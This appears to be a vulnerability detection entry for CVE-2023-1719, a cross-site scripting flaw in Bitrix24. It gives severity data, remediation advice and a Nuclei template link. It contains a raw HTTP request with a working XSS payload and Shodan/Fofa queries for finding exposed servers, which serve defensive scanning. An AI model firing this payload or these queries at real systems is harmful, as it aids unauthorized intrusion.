| Title | Bitrix Component - Cross-Site Scripting |
|---|---|
| Author | DhiyaneshDk |
| Severity | Critical |
| Impact | Unauthenticated attackers can inject malicious JavaScript and potentially execute arbitrary PHP code if the victim has administrator privileges, compromising the entire Bitrix24 collaboration platform and accessing sensitive business data. |
| Remediation | Update Bitrix24 to a version newer than 22.0.300 that properly initializes variables and sanitizes input in the bitrix/modules/main/tools.php component. |
| CVSS Score | 9.8 |
| EPSS Score | 0.84768 |
| CVE ID | CVE-2023-1719 |
| CWE ID | CWE-665 |
| Shodan Query | html:"/bitrix/"http.html:"/bitrix/" |
| Fofa Query | body="/bitrix/" |
| Tags | cve2023 cve bitrix xss bitrix24 vuln |
Global variable extraction in bitrix/modules/main/tools.php in Bitrix24 22.0.300 allows unauthenticated remote attackers to (1) enumerate attachments on the server and (2) execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via overwriting uninitialised variables.
GET /bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=<img%20onerror=alert(document.domain)%20src=1> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1719.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-1719.pcap
N/AN/A